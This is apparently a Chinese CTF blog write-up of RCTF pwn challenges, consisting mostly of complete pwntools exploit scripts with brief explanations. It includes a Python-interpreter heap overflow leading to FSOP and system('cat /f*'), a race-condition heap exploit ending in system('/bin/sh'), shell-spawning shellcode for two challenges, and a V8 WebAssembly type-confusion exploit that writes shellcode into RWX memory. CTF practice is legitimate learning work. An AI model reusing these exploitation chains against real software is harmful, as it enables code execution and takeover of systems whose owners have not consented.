RCTF pwn方向题解(缺bbox)

mstr

python pwn

漏洞和python内部的机制有关系,python对象并不直接存储对象,而是存储对象的引用。而mutableString类的datastringmax_size_str也是string。这就会导致datamax_size_str指向同一个字符对象。

至此还不会产生漏洞,因为如果对data进行修改,python会创建新的对象并修改引用指针。但是此时类里面提供了一个方法可以直接修改字符数组+=。如果我们对一个size进行+=就会导致max_size超级大,从而产生一个堆溢出。

然后观察堆上的情况,会发现对正常的对象进行溢出会破坏结构指针导致crush。而python堆结尾的内容则为全空,覆盖也不会产生影响。因此可以考虑堆喷将对象喷到堆末尾,然后再申请新的对象,从而构造出堆重叠。(+=方法会修改string对象的长度)

接着通过modify就可以修改下一个字符对象的长度,再从堆上泄漏出libcbaseheapbase,接下来用任意写打FSOP即可

from pwn import *
filename = './python'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 26000

# host = '127.0.0.1'
# port = 9999

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process([filename, './mstr.py'])
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process([filename, './mstr.py'])
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

def new(content):
    payload = b'new ' + content
    sla('>', payload)

def set_max(idx, size):
    payload = b'set_max ' + str(size).encode() + b' ' + str(idx).encode()
    sla('>',payload)
    
def plus_eq(idx1, idx2):
    payload = b'+= ' + str(idx1).encode() + b' ' + str(idx2).encode()
    sla('>', payload)

def plus(idx1, idx2):
    payload = b'+ ' + str(idx1).encode() + b' ' + str(idx2).encode()
    sla('>', payload)
    
def print_max(idx):
    payload = b'print_max '+ str(idx).encode()
    sla('>', payload)

def print_c(idx):
    payload = b'print '+ str(idx).encode()
    sla('>', payload)
    
def modify(idx, offset, val):
    payload = b'modify ' + str(idx).encode() + b' ' + str(offset).encode() + b' ' + str(val).encode()
    sla('>', payload)

script = '''
'''
def pwn():
    global p
    p = getp()
    new(b'9') # 0
    new(b'8')

    new(b'a'*0x300) # 2
    new(b'b'*0x300)

    for i in range(2, 0x20):
        new(b'1'*0x80)

    set_max(33, 9)
    set_max(2, 9)

    plus_eq(0, 1)
    plus_eq(0, 1)
    plus_eq(0, 1)
    plus_eq(0, 1)


    plus_eq(33, 5)
    plus_eq(33, 5)
    plus_eq(33, 5)

    new(b'meow'*0x20) # 34

    print_c(33)
    p.recvuntil(b'1'*0x88)
    p.recv(0x8)
    unitype = u64(p.recv(8))

    print(hex(unitype))
    
    # new(b'1'*0x10 + p64(0) + p64(1) + p64(unitype) + b'\xff') # 35
    new(b'1'*0x10)

    plus_eq(2, 35)
    plus_eq(2, 35)
    plus_eq(2, 35)

    def write_at(off, content):
        for i in range(0, 8):
            modify(2, off+i, content[i])
    # write_at(0x310, p64(0x241))
    # write_at(0x318, p64(0x1))
    write_at(0x320, p64(unitype))
    write_at(0x328, p64(0x1000, sign='signed'))

    print_c(3)
    p.recvuntil(p64(0xd51))
    libcbase = u64(p.recv(8)) - 0x204120
    p.recv(8)
    haddr = u64(p.recv(8)) - 0x9f8
    write_at(0x328, p64(0x800000000000))

    def write_at(off, content):
        for i in range(0, 8):
            modify(3, off+i, content[i])
    write_at(libcbase+libc.sym['_IO_list_all'] - haddr, p64(haddr+0x100))

    # 0x0    rdi             0x8   _IO_read_ptr
    # 0x10  _IO_read_end     0x18  _IO_read_base
    # 0x20  _IO_write_base   0x28  _IO_write_ptr
    # 0x30  _IO_write_end    0x38  _IO_buf_base
    # 0x40  _IO_buf_end      0x48  _IO_save_base
    # 0x50  _IO_backup_base  0x58  _IO_save_end
    # 0x60  _markers         0x68  _chain
    # 0x70  _fileno          0x74  _flags2
    # 0x78  _old_offset      0x80  _cur_column
    # 0x82  _vtable_offset   0x83  _shortbuf
    # 0x88  _lock            0x90  _offset
    # 0x98  _codecvt         0xa0  _wide_data
    # 0xa8  _freeres_list    0xb0  _freeres_buf
    # 0xb8  __pad5           0xc0  _mode
    # 0xc4  _unused2         0xd8  vtable
    libc.address = libcbase
    fake_file = haddr+0x100
    payload = flat({
        0x0 : 0xfbad1800,
        0x28: 1,

        0xa0: fake_file,
        0x68: libcbase + 0x16e828,
        0x8:  fake_file + 0x70,
        0x78: libcbase + 0x171bd9,
        0x70: fake_file + 0x58,
        0x58: b'cat /f*\x00',
        0x90: fake_file + 0x90,
        0x98: libc.sym['system'],

        0x88: libcbase + 0x205720,
        0x10: 1,
        0xd8 : libc.sym['_IO_wfile_jumps'],
        0xe0 : fake_file
    }, filler =b'\x00').ljust(0x180, b'\0')

    for i in range(0, len(payload)):
        modify(3, 0x100+i, payload[i])

    print(hex(libcbase))
    print(hex(haddr))
    pause()
    p.shutdown("send")
    p.interactive()
    # print_c(3)
    # print_max(2)
    # modify(2, 0x250, 0xff)
pwn()

PS:如果发送端关闭python会进入exit流程,但是直接Ctrl+C同时也会关闭接收端,所以用shutdown只关闭接收端,远程读取flag后回显即可。

rd

本题漏洞为对象task指针未清空。如果我们能把一个已经free的对象申请回来,配合task_run就是一个竞态堆溢出。

然后就是耐心风水,泄漏堆栈地址然后打FSOP......(注意task->content会被写堆地址,配合前面的漏洞就是一个任意地址写堆地址)

(一开始还试着劫持rbp打栈迁移后面发现还不如打FSOP...)

from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= '1.95.160.168'
port = 26001

# host = '127.0.0.1'
# port= 13331


sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
go
'''


def login(username, passwd, pads = b''):
    pay = b'command:login\n'
    pay += b'username:'+ username + b'\n'
    pay += b'password:' + passwd + b'\n'
    pay += pads
    sl(pay)
    p.recvuntil('user_token:')
    x = p.recv(32)
    print(x)
    return x

def register(username, passwd, pads = b''):
    pay = b'command:register\n'
    pay += b'username:'+ username + b'\n'
    pay += b'password:' + passwd + b'\n'
    pay += pads
    sl(pay)
    p.recvuntil('success')

def nohup_register(username, passwd, pads = b''):
    pay = b'command:register\n'
    pay += b'username:'+ username + b'\n'
    pay += b'password:' + passwd + b'\n'
    pay += pads
    sl(pay)
    # p.recvuntil('success')

def submit_task(token, raw_content, encrypted = 0, pads= b''):
    content = b''
    if encrypted:
        for byte in raw_content:
            content += int.to_bytes(byte ^ 0x3f)
    else:
        content = raw_content
    pay = b'command:submit_task\n'
    pay += b'user_token:' + token + b'\n'
    pay += b'task_content:' + content + b'\n'
    pay += pads
    sl(pay)

def deregister(token):
    pay = b'command:deregister\n'
    pay += b'user_token:' + token + b'\n'
    sl(pay)
    p.recvuntil('success')

def pwn():
    global p
    p = getp()
    for i in range(0, 8):
        register(str(i).encode(), b'abcdabcd')
    register(b'8'*0x127, b't'*0x127)
    for i in range(9, 16):
        register(str(i).encode(), b'abcdabcd')
    # pause()
    token15 = login(b'15', b'abcdabcd')
    token14 = login(b'14', b'abcdabcd')
    token8 = login(b'8'*0x127, b't'*0x127)
    token7 = login(b'7', b'abcdabcd')

    deregister(token8)
    deregister(token7)
    register(b'7', b'1')
    register(b'8', b'abcdabcd')
    
    submit_task(token15, b'1'*0x127)
    deregister(token15)
    deregister(token14)
    register(b'14', b'abcdabcd')
    register(b'15', b'abcdabcd')
    token = login(b'15', b'abcdabcd', b'1:'+b'1'*0x27)
    submit_task(token, b'x'*0x128+p64(0x31)+b'\xc0', 1)

    sleep(4)
    libcbase = u64(login(b'8', b'abcdabcd')[-6:]+b'\x00\x00') + 0x39c8
    print(hex(libcbase))
    libc.address = libcbase
    # pause()
    #  
    register(b'1'*0x47, b'a'*0x47)
    register(b'101', b'abcdabcd')
    register(b'102', b'abcdabcd')
    register(b'103', b'abcdabcd')

    token13 = login(b'13', b'abcdabcd')
    token12 = login(b'12', b'abcdabcd')
    token100 =login(b'1'*0x47, b'a'*0x47)
    token101 = login(b'101', b'abcdabcd')
    
    deregister(token100)
    deregister(token101)

    register(b'100', b'1')
    register(b'101', b'abcdabcd')

    submit_task(token13, b'2'*0x47)

    deregister(token13)
    deregister(token12)
    register(b'12', b'abcdabcd')
    register(b'13', b'abcdabcd')
    token = login(b'13', b'abcdabcd', b'1:'+b'1'*0x27)
    
    pay = b'y'*0x48
    pay += p64(0x31)+b'z'*0x28
    pay += p64(0x51)+b'a'*0x48
    pay += p64(0x51)+b'a'*0x48
    pay += p64(0x31)+b'o'*0x28
    pay += p64(0x31)+b'o'*0x28
    pay += p64(0x21)+b'm'*0x18
    pay += p64(0x31)+p64(libc.sym['environ'])
    submit_task(token, pay , 1)
    
    sleep(4)
    binsh = libc.search('/bin/sh').__next__()
    stack = u64(login(b'102', b'abcdabcd').split(b' ')[-1]+b'\x00\x00')
    canary = stack - 0x1c0
    print(hex(libcbase))
    print(hex(stack))
    print(hex(binsh))

# -------------------------------------------- #

    register(b'2'*0x57, b'd'*0x57)
    register(b'201', b'abcdabcd')
    register(b'202', b'abcdabcd')
    register(b'203', b'abcdabcd')

    token11 = login(b'11', b'abcdabcd')
    token10 = login(b'10', b'abcdabcd')
    token200 =login(b'2'*0x57, b'd'*0x57)
    token201 = login(b'201', b'abcdabcd')
    
    deregister(token200)
    deregister(token201)

    register(b'200', b'1')
    register(b'201', b'abcdabcd')

    submit_task(token11, b'+'*0x57)

    deregister(token11)
    deregister(token10)
    register(b'10', b'abcdabcd')
    register(b'11', b'abcdabcd')
    token = login(b'11', b'abcdabcd')
    
    pay = b'p'*0x58
    pay += p64(0x31)+b'i'*0x28
    pay += p64(0x61)+b'r'*0x58
    pay += p64(0x61)+b't'*0x58
    pay += p64(0x31)+b's'*0x28
    pay += p64(0x31)+b'w'*0x28
    pay += p64(0x21)+b'c'*0x18
    pay += p64(0x31)+p64(libcbase + 0x203b20)+p64(binsh)+p64(binsh)+p64(0)+p64(libc.sym['stdout']-0x20)

    submit_task(token, pay , 1)
    sleep(4)
    token = login(b'/bin/sh', b'/bin/sh').split(b' ')[-1]
    top_chunk = u64(token[0:6]+b'\x00\x00')

    # 0x0    rdi             0x8   _IO_read_ptr
    # 0x10  _IO_read_end     0x18  _IO_read_base
    # 0x20  _IO_write_base   0x28  _IO_write_ptr
    # 0x30  _IO_write_end    0x38  _IO_buf_base
    # 0x40  _IO_buf_end      0x48  _IO_save_base
    # 0x50  _IO_backup_base  0x58  _IO_save_end
    # 0x60  _markers         0x68  _chain
    # 0x70  _fileno          0x74  _flags2
    # 0x78  _old_offset      0x80  _cur_column
    # 0x82  _vtable_offset   0x83  _shortbuf
    # 0x88  _lock            0x90  _offset
    # 0x98  _codecvt         0xa0  _wide_data
    # 0xa8  _freeres_list    0xb0  _freeres_buf
    # 0xb8  __pad5           0xc0  _mode
    # 0xc4  _unused2         0xd8  vtable
    fake_file = top_chunk+0x1a0
    payload = flat({
        0x0 : 0xfbad1800,

        0xa0: fake_file,
        0x68: libcbase + 0x16e828,
        0x8:  fake_file + 0x70,
        0x78: libcbase + 0x171bd9,
        0x70: fake_file + 0x58,
        0x58: b'/bin/sh\x00',
        0x90: fake_file + 0x90,
        0x98: libc.sym['system'],

        0x88: libcbase + 0x205720,
        0x10: 1,
        0xd8 : libc.sym['_IO_wfile_jumps'] - 0x20,
        0xe0 : fake_file
    }, filler =b'\x00').ljust(0x180, b'\0')
    # for i in range(0, 0x8):
        # payload += p64(i*0x101) * 4
    print(hex(top_chunk))
    print(hex(libcbase))
    print(hex(stack))
    print(hex(binsh))
    pause()
    submit_task(p64(top_chunk+0x190)[0:6], payload, 1)

# 0x000000000017ac2c : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]
# 0x000000000016c4a7 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x20]
# 0x00000000001763ae : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x28]
# 0x000000000016da52 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x30]
# 0x000000000017b837 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x48]
# 0x000000000016e828 : mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 8]

# 0x0000000000171d26 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
# 0x00000000001762fd : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
# 0x0000000000171bd9 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]

    # register(p64(stack-0x11f8)*5, p64(stack-0x11f8)*5)
    nohup_register(b'1000', b'1000')

pwn()
p.interactive()

only

Man, what can I say?

void edit()
	if(something)
	{
		printf("EMPTY!!!");
		exit(0);
	}
	//...

本质shellcode题,重新做出read就打完了

from pwn import *
filename = './chal'
libc = ELF("./libc.so.6")
host= '1.95.190.154'
port= 0

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
'''
def pwn():
    global p
    p = getp()
    hex_value = 0xD0E0A0D0B0E0E0F
    float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
    print(f"The float value of 0x{hex_value:X} is: {float_value}")
    sla('3.', '2')
    sla('input', str(float_value))
    sla(':', '1')
    pause()
    shellcode = asm('pop rsi;'*6 + 'mov dl,0xff; syscall') 
    sa(':', shellcode)
    sleep(0.5)
    s(asm('nop;'*0x40+shellcraft.sh()))



pwn()
p.interactive()

only_rev

It's not funny

void edit()
	if(something)
	{
		printf("EMPTY!!!");
		exit(0);
	}
	//...

本质shellcode题,重新做出read然后就打完了。

from pwn import *
filename = './chal'
# libc = ELF("./libc.so.6")
host= '1.95.164.64'
port= 26000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
go
'''
def pwn():
    global p
    p = getp()
    
    hex_value = 0xD0E0A0D0B0E0E0F
    float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]
    print(f"The float value of 0x{hex_value:X} is: {float_value}")
    sla('3.', '2')
    sla('input', str(float_value))
    sla(':', '1')
    pause()
    shellcode = '''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
'''
    shellcode = asm(shellcode)
    sa(':', shellcode)
    sleep(0.5)
    s(asm('nop;'*0x40+'lea rsp, [rip+0x800];' + shellcraft.open('flag', 0, 0) + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)))

pwn()
p.interactive()

no_check_WASM

本题取消了wasm的类型保护检查。

externStructRef自己做一个结构体就能随便任意读写了

然后就是找rwxrwxwasm在预热以后能从它的栈内存里泄漏栈地址(猜测,总之是拿到了地址)

然后就写shellcode我的脚本是概率通,嗯。

from pwn import *
import hashlib
import sys
import itertools
import string

def solve(h):
    if isinstance(h, bytes): h = h.decode().strip()
    cmd = ["hashcat", "-m", "1400", "-a", "3", "--quiet", "--potfile-disable", "--outfile-format=2", h, "rctf?h?h?h?h?h?h"]
    return subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()[4:].encode()
            
filename = './d8'
# libc = ELF("./libc.so.6")
host= '127.0.0.1'
port= 7000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
    if "d" in mode:
        p = gdb.debug(filename, script)
    elif "l" in mode:
        p = process(filename)
    elif "r" in mode:
        p = remote(host, port)
    elif "a" in mode:
        p = process(filename)
        gdb.attach(p, script)
    return p

def getp():
    global script
    if len(sys.argv) == 2:
        p = run(sys.argv[1], script)
    else:
        p = run("l", script)
    return p

script = '''
'''
def pwn():
    global p
    p = getp()
    p.recvuntil('Find a nonce such that SHA-256(\'rctf\' + nonce) == ')
    hash = p.recvline(keepends=False)
    nonce = solve(hash)
    sa('nonce:', nonce)
    with open('./1.js') as f:
        js = f.read()
        sla('size', str(len(js)))
        sla('script', js)

pwn()
p.interactive()
///// ------------------ wasm-module-builder.js END -------------------- /////

var foo = ()=>
{
    return [1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
    foo();foo();foo();foo();
} 
// Helper
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
	_f[0] = f;
	return _i[0];
}
function i2f(i)
{
	_i[0] = i;
	return _f[0];
}
function hex(i)
{
	print("0x"+i.toString(16).padStart(16,"0"));
}

function addr_of(obj)
{
    const builder = new WasmModuleBuilder();
    const sig_i = makeSig([kWasmExternRef], [kWasmI64]);

    builder.addFunction("addr", sig_i)
    .exportFunc()
    .addBody([
        kExprLocalGet, 0,
    ]);
    const instance = builder.instantiate();
    const addr = instance.exports.addr;
    return addr(obj);
}

function fake_obj(addr)
{
    const builder = new WasmModuleBuilder();
    const sig_i = makeSig([kWAsmI64], [kWasmExternRef]);

    builder.addFunction("fake", sig_i)
    .exportFunc()
    .addBody([
        kExprLocalGet, 0,
    ]);

    const instance = builder.instantiate();
    const fake = instance.exports.fake;
    return fake(addr);
}

function buildConfuseFunction(addr)
{
    const builder = new WasmModuleBuilder();

    const filed_i64 = makeField(kWasmI64, true);
    const structType = builder.addStruct([filed_i64], kNoSuperType, true, false);
    const refStructType = wasmRefType(structType)

    const sig_i = makeSig([kWasmI64], [refStructType]);
    cast = builder.addFunction("i64_to_struct", sig_i)
    .exportFunc()
    .addBody([
        kExprLocalGet, 0,
    ]);

    const sig_j = makeSig([kWasmI64], [kWasmI64]);
    builder.addFunction("_read64", sig_j)
    .exportFunc()
    .addBody([
        kExprLocalGet, 0,
        kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
        kGCPrefix, kExprStructGet, 
        ...wasmUnsignedLeb(structType, kMaxVarInt32Size), 
        ...wasmUnsignedLeb(0, kMaxVarInt32Size),
    ]);

    const sig_k = makeSig([kWasmI64, kWasmI64], []);
    builder.addFunction("_write64", sig_k)
    .exportFunc()
    .addBody([
        kExprLocalGet, 0,
        kExprCallFunction, ...wasmUnsignedLeb(cast.index, kMaxVarInt32Size),
        kExprLocalGet, 1,
        kGCPrefix, kExprStructSet, 
        ...wasmUnsignedLeb(structType, kMaxVarInt32Size), 
        ...wasmUnsignedLeb(0, kMaxVarInt32Size),

    ]);

    const instance = builder.instantiate();
    return instance.exports;
}

function read64(addr)
{
    return buildConfuseFunction()._read64(addr);
}

function write64(addr, value)
{
    return buildConfuseFunction()._write64(addr, value);
}

function leak_stack()
{
    const builder = new WasmModuleBuilder();
    const sig_i = makeSig([], [kWasmI64, kWasmI64, kWasmF64, kWasmF64]);

    builder.addFunction("leak", sig_i)
    .exportFunc()
    .addBodyWithEnd([
        kExprEnd,
    ]);

  const module_bytes = builder.toBuffer();
  const mod = new WebAssembly.Module(module_bytes);
  const instance = new WebAssembly.Instance(mod, {});
  var ret_val = instance.exports.leak();
  return ret_val;
}
darry = [1.1, 1.2, 1.3];
x = addr_of([foo]);
y = read64(x);
for(i = 0; i < 1000; i++)
{
    var sth = leak_stack();
}
sth = leak_stack();
stack = f2i(sth[2]);
for(i = 0n; i < 100n; i++)
{
    rwx = read64(stack + i * 8n + 1n);
    // hex(rwx);
}

sh = [
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x9090909090909090n,
0x6e69622fb848686an,
0xe7894850732f2f2fn,
0x2434810101697268n,
0x6a56f63101010101n,
0x894856e601485e08n,
0x50f583b6ad231e6n,
0xccccccccccccccccn,
0xfffffe57e9909090n,
];

rwx = read64(stack + 0x51n);
hex(rwx)
hex(stack);
hex(x);
hex(y);
print(y);

for(i = 1n; i < 100n; i++)
{
    if(i < 0x34)
        write64(rwx + i * 8n + 0n, sh[i]);
}

BBOX

没学过qemu逃逸,期中考完学一下

posted @ 2025-11-22 00:21  imiab  阅读(123)  评论(0)    收藏  举报